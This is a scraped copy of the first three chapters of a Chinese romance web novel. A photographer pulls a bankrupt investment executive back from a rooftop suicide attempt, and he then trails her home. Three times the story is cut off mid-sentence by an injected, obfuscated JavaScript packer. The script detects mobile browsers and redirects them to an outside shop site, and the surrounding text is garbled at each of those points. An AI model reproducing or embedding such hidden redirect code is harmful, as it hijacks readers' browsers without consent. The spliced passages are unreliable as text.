《破产总裁赖上我》 1. 第 1 章 1万块奖金飞了。 唐霁简直要气死。 事情是这样的。 她参加了一个由老东家《光》摄影杂志联合Lumixar镜头举办的摄影比赛,一路过五关斩六将通过了初赛复赛决赛得到了第一名,却在公示期最后一天莫名其妙被别人替了下来。 这怎么能忍?! 她直接冲到杂志社找主编理论,对方却用一个没有提供被摄者的商业肖像授权的理由搪塞她。拜托!她拍的是纪实摄影,照片里的人别说正脸,就连侧脸都看不见,只是一个夕阳下小小的背影。这还提供什么商业授权! 但她拗不过对方,毕竟获奖作品是要在杂志社刊登的,如果杂志社坚持要这份授权,她也没办法。 可是,她却在厕所无意中听到杂志社的两位同事在说八卦—— 前台:“刚才唐霁过来干什么啊?” 主编助理:“还能干嘛啊?不就为了摄影比赛那事嘛,主编把她给换下来了。” 前台:“为什么啊?” 主编助理:“你傻啊,她之前都和主编闹翻了,现在怎么可能让她获奖呢?再说了,现在替上来的那个是Lumixar代理商的侄子,主编要讨好也讨好他啦!” 前台:“那以唐霁的性格她能罢休啊?” 主编助理:“主编说她没有提供被摄者的商业肖像授权,她也没办法啊。” 待两人走后,唐霁拿着手机从厕所隔间走出来,忿忿不平地咬了咬牙。 技不如人输了比赛她可以忍,丢了奖金她也可以忍,但她忍不了是因为主编公报私仇暗箱操作把她替下来。更可恶的是,主编在她临走时还要嘲讽她:“我说了,你拍的这种照片没有市场。” 她给这段录音做了变声操作,顺手就发到本地最活跃的一个摄影论坛。 会有什么影响她不在乎,能不能把她的获奖名额抢回来无所谓,反正这一刻她爽了。 一顿操作完毕后,唐霁收起手机离开杂志社,走进电梯厅,迎面映入一轮火红火红的夕阳,嵌在窗户上,像是透过一个取景框看风景。 心情一下子就豁然开朗了。 唐霁被眼前的画面定格了几秒,转念按了上行的电梯,决定到天台看日落。 刚踏上天台,她就看到地面上躺着一个长长的影子,顺着影子的方向看去,末端站着的是一个高大的男人。他站在天台的护墙边,双手插在兜里,身上虽然穿着一身质地精良的西装,但整个人看起来却软塌塌的,好像要被眼前的落日融化。 金鼎大厦是白海市最高的一栋楼,站在天台望下去,一栋栋玻璃幕墙的大厦全都熔化在夕阳的余晖里,像是沸腾的熔浆从天边一路倾斜而下,吞没了整座城市。 夕阳、金灿灿的城市、颓靡的男人,眼前这幅画的强大反差感让唐霁很自然联想到英雄迟暮。可是眼前这人看背影应该很年轻,所以又有一种站在火山口视死如归的气势。 很美,很有视觉冲击力,也很有故事感。 她悄悄拿出手机,蹲在地上,以落日熔金的天空为背景,以地上的影子作为对角线,一路延伸至男人的背影,轻轻地点下了快门键。 拍完后,她并不打算打扰对方。 在白海市,在这些闪着金色光芒的高楼大厦里,每一分钟都会有人情绪奔溃,而日出日落、蓝天白云,大树和小草、江河与微风是城市人的情绪过滤器。 这个人估计也和她一样,遇到了什么不开心的事。这种时候,更适合自己消化过滤那些坏情绪。 夏至将至,白天的时间越拉越长,一直到7点,太阳才依依不舍地坠入地平线。 华灯初上,黑夜紧随而至,将最后一点霞光驱至天边,死死地压着。 唐霁伸了个懒腰,左右转动了两圈脖子。 上天还是挺公平的,尽管给了她这么操蛋的一天,但最后也送了她一个不错的句点。 “原谅你啦。” 她看着墨蓝色的天幕轻轻说了一声,满意地转身准备离开,刚拐到楼道口,看到刚才那个男人还在,不过已经站在了护墙上。 唐霁的心猛地一揪,浑身的血液倏地涌上大脑—— 他在干什么?该不是要跳楼吧? 唐霁四肢冰冷地站在原地,很清楚地看到他拿着一部手机,手指在屏幕上缓慢地敲击,荧光将他的脸映得死白死白的,没有一点血色。 可是,站那么高不会就为了玩手机吧,站得高信号会比较好吗? 唐霁不敢动,她甚至担心自己呼吸声稍微大一点都会把对方吓到掉下去,只能像石柱一样站在原地呆呆地看着。 对方的手机屏幕一下子暗了下来,他锁了屏幕,将手机握在掌心里。 “嗡——嗡——” 没多久,空气里传来急促的震动声,是从那个男人的手机传来的。很快,铃声也跟着响了起来。 可是,男人看上去根本没有想要接电话的意思,他紧紧地握着手机,手背的肌肉绷到极致,指关节像嶙峋的岩石凸起,手背的青筋如石龙虬结,似乎像用尽所有的力气掐死手中嗡嗡作响的手机。 但,这手机不识好歹,持续不停地又震又响,突然—— 他放弃了,张开双手,像一只老鹰张开双翅一样,握着的那只手手心一松,手机便掉了下去。 唐霁的心仿佛系在手机上,也跟着向下坠落。 她几乎可以肯定,这个人不仅想扔手机,还想把自己都扔下去。 于是,来不及多想,她将肩上的背包扔在地上,像支箭一样冲上去,一把抱住对方的腰,在他往前倾倒之前用尽全力抱着他往后一甩—— 短暂的混乱,剧烈的撞击,霎时的空白。 几秒后,她才反应过来。 好痛。 她的胳膊好像撞到了,腰应该也闪了,半侧身体还被人压着,而那人一点自觉性都没有,还躺在她身上装死。 她只好不客气地把他往边上一推,说道:“你快起来,我要被压死了。” 对方咕噜噜地从她身上滚下去,她终于得以松了一口气,一手撑着地板,一手揉着腰坐起来,嘴里还在嘀咕道:“好痛,痛死我了。” 她刚坐正,发现对方也坐起来了,一只手在揉着自己的脑袋,一双狭长的眼睛迷茫地看着她。 这一对视,把她也搞迷茫了。 她是做错什么了吗? 唐霁赶紧站了起来,先发制人指着对方问道:“你,你大晚上的站这么高干嘛呢?很危险的知不知道?” 男人还保持着刚才的姿势坐在地上,一只手轻轻地揉着脑袋,眉头微微皱了皱,一双眼睛依旧迷茫。 唐霁都开始怀疑他是不是摔傻了。 她故意吓他:“很痛是吧?你现在知道痛了?我告诉你,你要是掉下去了,脑袋像西瓜一样爆开,鲜血、脑浆溅一地,断手断脚没有一处完整的时候更痛。” 男人缓缓地扭头看向自己刚才站的地方,他好像搞明白了,刚才是这个女孩把他救了下来。他是掉下去了,但不是掉到楼下,而是掉回天台。 他垂下眼皮,轻轻叹了口气,自己也说不清是庆幸还是失望,有气无力地和她认真探讨起来:“跳楼是不会痛的,身体还没感觉到疼痛时就死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372008|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,死了也就不会痛了。” “什么?” 唐霁听不太清楚他叽里咕噜在说什么,不过最后一句好像说的是,“死了就不会痛?” 可是对方却仍像一滩烂泥一样坐在地上,没有反应,根本不想回应她。 这就算是默认了。 唐霁有些难以置信地打量着坐在地上的男人,他穿得人模人样的,哪怕这样折腾了一圈,身上的西服依旧平整如镜,一看就不便宜,浑身上下都透着一股贵气。 这样的人怎么就会想着跳楼呢? 她有些动容,在他面前蹲下,好声好气地劝说道:“你不能这么想。你年纪轻轻的,怎么就这么想不开呢?你刚才要是真的跳下去了,你是不痛了,那你想过你的家人吗?活着的人怎么办啊?” 唐霁把自己都说动容了,鼻子突然一酸。 她顿了顿,吸了口气将鼻腔的酸涩吞下去,继续说道:“我跟你说,人除了生死,其它都是小事。你现在可能会觉得眼前遇到的事跟天那么大,但是你挺过去再回头看,就会发现真的小事一桩,不要遇到一点破事就要死要活的。” 男人还是保持着刚才的姿势,嘴角轻轻扯了扯,发出一声轻笑,也不知道是笑唐霁说的话还是笑自己。 他摇了摇头,否认了唐霁刚才说的话,“过不去了……只有我死了,他们才会开心。” 最后一句话猝不及防地点燃了唐霁的引火线,她唰地一下站了起来,一改刚才的温柔,张嘴就骂了起来:“谁乐意看别人去死啊!再说了,你管别人开不开心呢!你活得开心不就好了吗?为了别人开心就去死,你傻不傻啊!” 不知怎么的,刚才吞下去的酸涩劲突然又涌了上来,鼻子酸酸的,就连喉咙也在微微发胀。 可是,她似乎骂上瘾了,这下并没有打算停下来,哽咽着声音继续骂道:“死了才是真的完蛋,死了才是真的一无所有。我不知道你都遇到什么事,但是你连死都不怕,还有什么能难得到你呢?” 男人似乎也察觉到她声音的变化,疑惑地缓缓抬起了头。 女孩居高临下地看着他,脸上还带着愠气,气呼呼地对他说:“还有,我告诉你,你别以为死了就真的一了百了,自杀的人是会下地狱的,会遭受烈火炙烤、寒冰劲封,比你现在痛苦一百倍一万倍!就算你投胎转世,下辈子下下辈子下下下辈子你还会重蹈覆辙,万劫不复!” 听着这女孩莫名其妙地用这些封建迷信的说法来恐吓他,男人眉头不解地皱了起来。 怎么感觉她对跳楼也很有研究?想到这女孩一个人躲在这天台,还带着哽咽哭腔,莫非她也是…… 唐霁看眼前的男人还是一副死人样地瘫坐在地上,生气地从地上捡起背包,一把挎到自己的肩上。 “叮铃——” 包上一个挂件因为碰撞发出清脆的铃声。 男人循声看了过去,一对颓靡的双眼缓缓睁大,然后更不解地皱着眉头看向女孩。 唐霁抓着背包带,扭头看了男人一眼,吸了吸鼻子,说:“看什么看!我该说的都说了,你还想死的话,我不拦着你。但是你要跳等我走了再跳,免得我成为嫌疑人。” 说完,她果断地回过头朝着门口走去。 男人双眼始终看着她包上的挂件,那是一只挂着铃铛的小兔子,身上穿着一件红色的衣服,正随着她走路的步子一摇一晃,发出“叮铃叮铃”的声音。 他看得很清楚。 没错,那只兔子正是5年前他们公司专门为首批vip客户定制的superbunny联名款。 为什么这个女孩会有? 2. 第 2 章 “这是什么?” 他不解地摇晃着手中的兔子,胸前的铃铛随着他的晃动发出“叮铃叮铃”的声音。 “superbunny。”坐在他面前的陆翊解释道,“你没看过啊,这动画可火了,是说一只机灵又精明的兔子怎么利用自己聪明的大脑一次次应对在草原上出现的危机。我好不容易谈下来的联名款……” “等等。”他打断对方的话,说道,“我不是要你解释这兔子是什么,我是想说,你真的认为我们的客户会喜欢这么……幼稚的小玩意?” “这你就不懂了吧。”陆翊嬉笑着,“现在的富婆就喜欢这种小玩意了。我们的客户群体,男女比例差不多是一比一。就算是男客户,拿回去送老婆送女朋友也可以啊!” “随便吧。”他不想在这种小事上纠缠,将兔子随手扔在桌上,结束他滔滔不绝的言论,说道,“做都做了。” 脑海里那只小兔子和此刻消失在楼道口的那只小兔子重合。他很确定,那个女孩背包上的小兔子就是当年陆翊为客户定制的那款。 他叫周砚知,陆翊是他的合伙人,他们是磐石资本的创始人。 一个月前,他设计的投资产品创盈基金意外暴雷,波及范围之大,从公司的vip客户扫荡到市场的散户。轻则损失财产,重则倾家荡产、家破人亡。 公司陷入危机,合伙人对他失望、客户不再信任他、家人指责他…… 他努力建立的一切,在顷刻之间坍塌。 金融市场没有稳赚。他不是不能接受自己的失误,但是他从没想过,会有人因为他设计的产品而死。他无法面对死者的家属。 事业上的挫折和良心的谴责反复折磨着他,没有人谅解他,也没有人愿意相信他。他失去了自己统治区的一切权力。落败的雄狮,在被驱逐出自己的领地之后,下场只有一个。 所以,他想要有尊严地结束,决定将自己所有财产用于偿还投资者,然后自我了断。 但是,这个女孩的出现,打断了他的计划。他本已经一只脚踏入了死亡的边缘,她却硬生生将他拽了回来。而且最重要的是,她似乎也和磐石有关系? 磐石资本首批vip客户,每一个人他都记得,但是他对这个女孩没印象。 不过,这也不奇怪,很可能是他们的客户转送给她的。 这么说…… 这个女孩的家人或者朋友很有可能是磐石的首批vip客户。 强烈的心虚和愧疚感骤然席上心头,但他转念又想,她一个女孩,晚上独自一人来天台干什么呢? 一个令他恐惧的原因猛然将他笼罩住。 他刚才就觉得这女孩对跳楼似乎有所研究,而且她刚才好像是……哭了? 难道她的家人或朋友也是这次暴雷的受害者?她也是来寻短见的,只是被自己搅乱了计划,所以她才会对跳楼这件事反应这么大? 如果是这样的话,她还会想不开吗? 他不能再让任何人因为他出事了,况且她还救了他,他不能反过来对她坐视不理。 想到这,周砚知立马站了起来,恍惚着追了上去。 电梯不能直达天台,还需要先下去一层。 周砚知快步下楼,推开防火门,刚迈进电梯厅,他立马顿住,怔愣了半秒,双脚向后轻轻挪动两小步,远远地立着。 那女孩还在。 她双手环抱在胸前,低着头在等电梯。 也许是觉察到有人过来,她悄悄往另一边别过脸,抬起一只手,手背在脸上抹了抹。 “叮——” 电梯到了,女孩低着头走进去。 周砚知还远远地站着,踟蹰着要不要跟进去。就在电梯门马上要关上的时候,身体先于意识,他快步向前,侧身闪了进去。 唐霁原本低着头站在电梯的角落里,被他这一举动吓了一跳,猛地抬起头。 “你……”唐霁回过神来,打量着他。 她认出了他,皱了皱眉,问道,“你不是跳楼不成,又想被电梯夹死吧?” 周砚知没有理会她的揶揄,抬眼瞥了她一下就迅速挪开目光,默默地站到另一个角落里,没有说话,只是偷偷地抬起眼皮,透过电梯门偷偷观察她。 她的背包挎在左侧的肩膀上,包上的小兔子正对着他,这下他看得更清楚。兔子身上穿的那件红色衣服还印着“磐石投资XSuperbunny”一行字。 这就是当年陆翊定制的那款挂件。 他的两颗眼珠悄悄转动,落在女孩身上。 她五官精致,染着一头茶色的齐肩短发,穿着简单,一件白色的修身T恤配牛仔裤,给人一种干净利落的感觉。 虽然刚才听她说话的声音,好像是已经恢复正常了,但是眼圈还微微泛红。 也许是觉察到他打量的目光,唐霁也扭过头,两人的目光忽地又撞在一起。 周砚知心虚地赶紧回过头,低着头把脸转向另一边,似乎害怕被对方看出自己的样子。 如果送这只superbunny给她的人是她的家人或朋友,那她很有可能会认得他。 唐霁还看着他,但好像根本不知道他是谁,反而打趣道:“你这是想通了?不想跳了?” 周砚知低着头,抿着双唇,没有说话。 他不是想通了,只是…… 死是一念之间的,这个念头一旦被打断,就像绷紧的皮筋突然断裂,要重新续上并不那么容易。 所以,他现在被推进了一个更加难堪的境地。 想活不能好好地活,想死却又死不去。 见他不说话,唐霁也没有再说什么。 电梯在中途又停了好几次,陆陆续续有人进来,又有人出去。 周砚知全程紧低着头,整个人缩成一团躲在角落里。如果可以,他希望把自己塞进电梯的轿厢,不让任何人看到他。 电梯抵达一层,大家依次走了出去。 周砚知跟着迈出电梯,却有些茫然,不知道自己现在应该去哪里。 他微微抬起头寻找唐霁的背影,目光很快锁定到前面那个背包上一晃一晃的小兔子。想到她刚才调侃他的语气很轻松,看着不像要去寻短见的样子了。 只是…… 想到她泛红的眼圈,他的心始终有些不安。 像是被什么蛊惑住一样,他不自觉地迈开双脚跟了上去。 他还是有些担心,也有些好奇,以及最重要的是,他也没别的地方可去了。 周砚知很庆幸,唐霁走出金鼎大厦后,没有去公交站,也没有去地铁站,而是沿着江边慢悠悠地走,像在散步一样。 她沿着沿江绿道一路走到西江大桥,徒步过桥后,来到南岸,往桥的右边一拐,就是一大片低矮的民房。 白海市由一条西江划开了南北两岸,南岸是老城区,北区是CBD。 一条西江,划开的是一座城市的空间分界线,也是发展的时间线,更是贫富的差距线。 周砚知很少来这里。 此刻,他有些发怔地站在原地,这个天桥底用一句别有洞天来形容也不为过。 人声鼎沸,热火朝天。 路的两边全是小摊贩,一个摊位接一个摊位紧紧地挨在一起,烧烤、炒粉炒面、麻辣烫、果汁奶茶,各种美食应有尽有。 唐霁在前面一边走,一边用眼睛扫视着两边的摊位,最后停留在一个卖煎饼果子的摊位上,说道:“老板,给我一份煎饼果子。” 生意来了,老板热情地招呼道:“好咧,要放什么?” “鸡排和肉松。”唐霁掏出手机,问道,“多少钱?” “十三。” 唐霁付过钱,无聊地扭头张望,不远处一个穿着西装的高个子马上扭过头去。 他面前的阿姨以为他要帮衬,乐呵呵地问道:“帅哥,要点什么?” 周砚知尴尬地摆摆手。 唐霁忍俊不禁,重新掏出手机扫二维码,对老板说:“老板,再给我多做一个吧。” 她拎着两份煎饼果子,回头朝周砚知走过去。 周砚知无处可藏,只能低着头假装看不见。 唐霁将其中一份煎饼果子递到他面前,说:“请你吃。” 周砚知双眼落在那份煎饼果子上,他从来没吃过这种东西。小时候妈妈不让吃,长大他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372009|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很自律,根本不会碰这些垃圾食品。 但是,眼下面饼炙烤后的焦香,混杂着鸡排的肉香味以及酱料的咸香味一缕一缕地从袋子里缓缓地飘出,肆意地钻入他的鼻孔,在他的胃里敲出闷闷的一声“咕噜”响。 他尴尬地双手接过,嘴里低低地说道:“谢谢。” 唐霁似乎看出了他心里所想的,笑道:“吃吧,垃圾食品虽然不健康,但是很治愈。” 治愈。 周砚知低头看着自己手中的煎饼果子,他不知道这一个面饼能治愈什么。 但他是真的饿了,一个要死的人也就顾不上健不健康了,他低头咬了一口。 也不知道是不是真的太饿了,又或者是被唐霁那句“治愈”影响到,他竟然觉得,很好吃。 明明是用廉价的面糊烤成的面饼,鸡排也是柴得不知道冻了多少年,可是味蕾却像是被激活了一样兴奋,有一种小时候背着妈妈玩游戏机的刺激感,体内多巴胺疯狂释放。咀嚼落肚后,仍唇齿留香。 三两口将手上的煎饼果子吃完,他抬头张望,唐霁已经走远了。 他犹豫了以下,继续跟上去,只见她突然又停了下来。 周砚知赶紧跟着停下,这里依然没什么地方可躲,他只能转过身。 唐霁回头看到他又跟了上来,有些无奈,对着老板说:“麻烦给我两杯珍珠奶茶。” 过了好几分钟,周砚知想看看唐霁还在不在,没成想一回头,人就在他跟前。 她抬手将一杯奶茶递到他面前:“呐,渴了是吧?” 周砚知:“……” 所以,她以为自己跟着她,是想蹭吃蹭喝? “不是……”他想解释,“我不渴。” “那怎么办?”唐霁苦恼地将眉头拧在一起,“买都买了,我一个人可喝不完两杯!” 周砚知双眼落在那杯奶茶上,这也是他以前不会喝的东西,都是工业糖精,不健康不好喝。 可是,她好像是专程给他买的。 “那,谢谢了。”他抬手接过。 唐霁笑了笑,转身继续往前走。 她七拐八拐地走进那片低矮的民房区,她租的房子就在这里的其中一栋。 拐进巷子,刚才的喧嚣就被隔绝了。 尽管现在还不是很晚,但是却非常安静。 她手上拎着一份煎饼果子一杯奶茶,悠哉地往前走,影子被路灯拉扯得从前面转到后面,又从后面转回前面。 而今晚,地面上做旋转运动的影子,有两个。 到家楼下的时候,另一个影子还在。毕竟大晚上的,被人尾随了一夜,直接跟到家楼下,唐霁终于忍无可忍,猛地回过神,身后的人立马顿住脚步。 “你还想跟到什么时候?我都请你吃请你喝了,你还想怎样?” “我……”周砚知有些心虚,慌慌张张地解释说,“我不是故意跟着你……” “那你想怎样?” 他也说不清楚自己到底想干什么,一开始只是担心她有事,而现在…… 他抬眼看了眼周围低矮破旧的民房,如果送她那只superbunny的人是她的家人或朋友,那她为什么会住在这样的地方? 所以,那个人难道也因为他倾家荡产?她哭是因为那个人吗?对方现在还好吗? 可是这些问题太冒昧了,他低头抿了抿唇,没有勇气问出口。 这模样却把唐霁搞急了:“你说话啊!” 他按下心里那些问题,却莫名其妙冒出一句话:“我没地方可去了。” “所以?”唐霁微微侧过头,耐下心听他说下去。 “你要负责。” 周砚知突然想起她在天台上恐吓他的那些话,突然很无赖地扯道,“是你把我拉回来的。” 他看到女孩的嘴巴难以置信地微微张开,估计她长这么大还是第一次见这么不要脸的无赖。 唐霁几乎气得说不下话,难怪人家都说不要插手别人的因果,这不就现世报了嘛! “我跟你非亲非故,我把你救下,请你吃请你喝,我还要对你负什么责啊?我真是……” 作孽啊! 3. 第 3 章 “你为什么要毁了我一次又一次?我真后悔当初生下你!” “我看好的不是这个产品,是你。但你这次令我太失望了。” “原来就是你,你这个大骗子!我爸一辈子的积蓄都被你骗光了。” “你以为赔钱就够了吗?你把我爸的命还我!” “……” 四面八方的洪水都朝着周砚知涌了过来,他想逃,但是却无路可逃。 他尝试解释:“不是这样的,你们听我解释……” 洪水却丝毫不停歇,瞬间蹿上他的头顶,将他彻底淹没。 “砰!” “不要——” 周砚知猛地睁开眼睛,弹起来。 没有洪水,刚才只是铁门关上的声音。 他又做噩梦了。 这样的噩梦已经持续了差不多一个星期。 他要么睡不着,要么一睡着就做噩梦。 每次做噩梦都会被惊醒。 他抹了抹眼睛,回过神,看见昨晚那个女孩一脸惊讶地站在他面前,身体往后仰,浑身戒备的样子,好像被他吓到了。 唐霁是真的被他吓到了。 她刚走出来,门口就有个人突然弹起来,喊着“不要”,把她吓得向后跳了一大步。 她回过神定睛一看,原来又是昨晚那个男的。 他坐在地上,不,正确来说,应该是坐在自己西服上。他的西服垫在了地上,估计是昨晚用来睡觉的。衬衫的袖子挽到手肘处,领口半敞着露出半截锁骨。头发乱糟糟的,满头大汗,像是刚从水里被捞起来一样。 本是落魄又狼狈,但是由于硬件实在太强了,硬是凹出一种帅强惨的破碎美感。 她闭上眼睛摇了摇头,将自己的魂扯了回来,不可思议地问道:“你,昨晚睡在这里啊?” 周砚知抬手抹掉额头的汗,将额前的头发捋到颅顶,闭上眼睛重重地喘着大气,嘴里含糊地应道:“嗯。” 唐霁不解地问:“你为什么睡在这里?” 6月的桑拿天,他竟然就这样睡在外面。有这种勇气的人还怕什么做不成呢? 周砚知看起来还恍恍惚惚的,嘴里含糊地应道:“我没地方去了。” “没地方去?你家呢?你为什么不回家?” 家? 他本来打算一死了之,根本没给自己留后路,于是将名下所有资产进行清算用于偿还投资者,包括他自己的房子。现在计划被打乱,他也不知道自己还可以去哪里。 “没了。” 唐霁紧皱的眉头有一丝松动,双眼染上惊讶和同情。 “你家人呢?朋友呢?他们总不能不管你吧?” 家人?朋友? 他本来也以为自己人脉广、朋友多,但一次失败,便众叛亲离。 周砚知的头缓缓地垂下去,轻轻地摇了摇头:“都没了。” 家没了?朋友也没了? 唐霁有些诧然,随即化作愧疚,她昨晚说话好像太重了。 昨晚这个男人一路跟着她回家,又说什么要她负责的话。她毕竟是一个人住,多少有些害怕,便恶狠狠地瞪着他说:“我警告你,你要回家也好,睡大街也好,都跟我无关。我对你已经是仁至义尽了,别再跟着我!” 此刻,她低头看着他,眼里多了几分同情,似乎明白了他为什么会想不开。 他一定是遇到了人生一个很大的坎。 她想要安慰他几句,可是又觉得无论说什么都好像轻飘飘的。 最终,她无奈地轻叹了口气,抿了抿唇,默默地走开。 唐霁走后,周砚知站起来拍了拍身上的衣服,将胸前的纽扣重新扣好,将肘处的衣袖放下,规规整整地重新卷平整。他也不知道自己这样做的意义在哪,只是,这仿佛是刻在基因里的习惯。不管身处何地,保持衣冠整洁是基本守则。 就算有一天他饿死街头,他不希望自己是邋里邋遢的。 至于这件西装外套,他低头看向地上的衣服,已经被他垫在地上了,他也不可能再穿了。而且现在这种天气,在室外,也根本没必要穿了。 他习惯性地将手伸进口袋想要掏手机,却发现里面空空如也。 哦,昨晚手机先他一步跳下楼,而他却被救了下来。 也挺好的。 没有了手机,他就断开了和以前的所有联系,也不会有人知道他待在这种地方,跟死了没多大差别。 他回头,坐在西装上,后背靠在墙上,茫然地仰头望着被低矮的民房切割成不规则图形的蓝天。 突然,眼前出现两个透明塑料袋,一个袋子里装着热气腾腾的包子,一个袋子里装着一杯豆浆。他疑惑地回神,一张笑靥浅浅的脸庞映入眼帘,仿如夏日的微风从额前拂过。 唐霁弯着腰,将手上拿着的袋子递过去,催促道:“拿着啊。” 周砚知头脑还在发怔,双手却听话地伸出来,接过她手上的早餐。 唐霁在他面前蹲了下来,微微侧头,斟酌片刻,说道:“虽然我不知道你遇到什么事,但是不管怎样,你还活着,不是吗?那你就把眼下的这一刻当作是你的重生。你现在就可以完全按照自己的意愿重新生活,想做什么就去做什么。反正不管怎么样,你都是赚的。你也不用怕,人要饿死也没那么难。真的,你看我那么穷不也还没穷死吗,还能请你吃叉烧包呢。” 说完,她有些骄傲地咧嘴一笑。 借着和煦的日光,借着近在咫尺的距离,周砚知看得更清楚了。她有一双柔和的眉眼,笑起来的时候眉眼弯弯,眼里神采奕奕。她一笑,阳光就落在她身上,通体透亮,就像她自己会发光一样。 唐霁看着他呆呆的样子,将怀里抱着的一瓶水放在地上,说:“这水也给你。” 然后抬起手拍了拍他的肩膀,说:“振作点。” 周砚知依然什么反应也没有,唐霁也明白不是三两句话就能让人想通的,便站起来,说道:“好了,我得走了。你吃完包子就回去吧。” 周砚知只是迷茫地看着唐霁,大脑好像被什么糊住了,运转速度比平时慢了好几拍,一时做不出什么反应。就在唐霁站起来转身准备要走时,他突然开口叫道:“请问……” 唐霁听到身后的人开口,再次转身看过去,看见男人抬着头,有些不好意思地问道,“请问,你有湿纸巾吗?或者,纸巾也行。” 唐霁微微一怔,然后笑了,说:“有。” 她将背包拉到胸前,埋头在里面翻找了一下,拿出一包湿纸巾递了过去,说:“都给你。” 周砚知伸手接过后,唐霁就将手收回,他却仍保持着接物的姿势,五指捏着纸巾手臂悬在半空,双眼直直地望向唐霁。 良久,他才收手说道:“谢谢。” 很郑重,像是被赐予了什么很宝贵的东西。 他垂眸,望向另一只手拿着的早餐,说:“还有你的早餐,谢谢。” “不客气。”唐霁嘴角还挂着微笑,说道,“我真的得走了。” 走到拐角处时,唐霁回头看了一眼。 那个男人还坐在原地,不过拿着她给他的湿纸巾在擦脸。 她刚才买早餐回来就看到了,他收拾过自己,比刚下楼看到他时要整齐一点。腰板挺得直直的靠坐在墙上,屈起一只脚,一只手随意地搭在膝盖上。 他这身打扮,这股气质坐在这样的地方,挺违和的,但这反差感又充满了故事感,像一个落魄的王子流落民间。唐霁差点想去拿相机给他拍一张照片。 既然他还知道注重自己的仪容,那么应该不至于无可救药。 想到这,唐霁欣慰一笑,咬了一口自己手上的馒头。 下午将近6点,唐霁拎着一盒炒米丝再次出现在这个拐角。 刚拐过来,她双脚就顿住了。 那人还在啊。 跟早上一样,坐得直直的靠在墙上。 走的时候看他都在擦脸擦手,还以为他想通了呢? 那她苦口婆心说一通,不都白说了吗? 他是想干嘛啊?因为她给他吃给他喝他就打算一直这样赖在这里了? 可恶,她不能再管他了! 唐霁硬下心肠,咬紧牙,像什么都没看到一样迈着健步走了过去。直到走到门口,她借着掏钥匙的空隙,眼角瞥了过去。 他头仰着靠在墙上,好像是睡了,额前的碎发有气无力地耷拉下来,遮住了眼睛。早上那瓶水放在边上,已经喝到瓶底,也就剩下几口了。除此之外就没别的垃圾了,早餐的袋子应该是被他收拾掉了。 唐霁的心稍稍软了下来,另一道声音就立刻冒了出来:不要再管他了! 如果她继续救济他的话,表面上是在帮他,实际是在害他。 不能让他一辈子赖在这里的。 于是,她再次狠下心,用力拉开门,走了进去。 第二天,唐霁出门的时候,又看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372010|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他。 他蜷缩着身体,躺在自己的西装上,也不知道是还没醒还是饿晕过去了。 别管别管别管! 唐霁在心里再次告诫自己,他是生是死都与你无关! 她昂起头,假装没看见一样,快步从他身边走过。 下午,她和昨天差不多时间回来。 刚走到拐角处,不出所料,那人还在! 不过,他看起来像是半死不活了,闭着双眼头向后仰着靠在墙上。 比起昨天直挺的身躯,今天浑身都软绵绵的,没有力气。 看样子好像一天没吃东西了。 他到底想干什么? 该不会跳楼不成,就想在这里活活把自己耗死吧? 唐霁无可奈何地仰天长叹一声,将头一拧,突然往回走。 几分钟后,她又再次出现了,这次手里拎着一份汤粉。 她走到周砚知面前,将汤粉放下,又在边上放了一瓶水。 周砚知觉察到动静,半睁开眼。 恍惚了半秒,或许是看清楚面前的人,他的眼皮才彻底掀开。 对上他的目光,唐霁无奈地叹叹气,觉得自己被道德绑架了,就像在路上救了一只流浪狗,好心地给它喂了点吃的,这只小狗就直接把她认作主人了。不仅跟着她回家,还直接赖在家门口。 而她也莫名其妙地觉得自己好像对他有一种无法名状的责任。总不能把人救下,又把人再次逼上绝路。这样一来,她反而成了那个间接害死他的人。 可是,如果他就这样一直赖在这里怎么办啊? 她总不能养他一辈子吧? 毕竟她自己都是吃一顿算一顿的人,哪里还养得起一个男人。 她叹了口气,蹲在地上抱着膝盖,侧着头看着他,问道:“你一直待在这里也不是办法,我没法养你一辈子。” “对不起。”估计是缺水太久,对方嗓子都有些沙哑,“这段时间打扰了,我不是要图你什么。” “打扰不打扰的,倒没什么要紧的。重要的是,你不能这样啊!你既然能活下来,就要珍惜,总不能一直待在这里把自己耗死吧?” 周砚知低垂着头,一言不发,也不知道有没有把她的话听进去。唐霁看着他这副死样子就急,问道:“喂!你到底听到没有?” 周砚知缓缓抬起头,看到她背包上的superbunny一晃一晃的,双眼缓缓地看向唐霁的脸,问道:“我可不可以问你一个问题?” 唐霁:“你问吧。” 他的双眼再次看向那只兔子:“我想知道,这只兔子,是谁送给你的?” 唐霁愣住,将背包转到胸前,拿起上面挂的小兔子问道:“这只?” 周砚知点点头。 没想到他要问的是这个。 这人好奇怪。 